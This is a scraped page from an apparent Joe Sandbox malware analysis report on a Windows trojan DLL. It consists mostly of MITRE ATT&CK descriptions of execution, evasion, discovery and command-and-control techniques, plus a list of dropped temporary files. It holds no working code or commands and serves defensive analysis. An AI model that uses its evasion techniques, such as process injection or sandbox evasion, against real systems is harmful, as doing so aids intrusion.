Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.0.cs

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.dll

C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.out

C:\Users\user\AppData\Local\Temp\4jzsybvo\CSC322DF87CD509445AB01BD8C0B6EFDFFF.TMP

C:\Users\user\AppData\Local\Temp\RES1BAB.tmp

C:\Users\user\AppData\Local\Temp\RES1BAC.tmp

C:\Users\user\AppData\Local\Temp\RES481A.tmp

C:\Users\user\AppData\Local\Temp\RES5E23.tmp

C:\Users\user\AppData\Local\Temp\RES5EA9.tmp

C:\Users\user\AppData\Local\Temp\RES5EE8.tmp

C:\Users\user\AppData\Local\Temp\RES5EE9.tmp

C:\Users\user\AppData\Local\Temp\RES5EF7.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2as0kocp.n4x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2p11iczm.y30.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2zsic1wm.lzh.psm1

Windows Analysis Report
SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre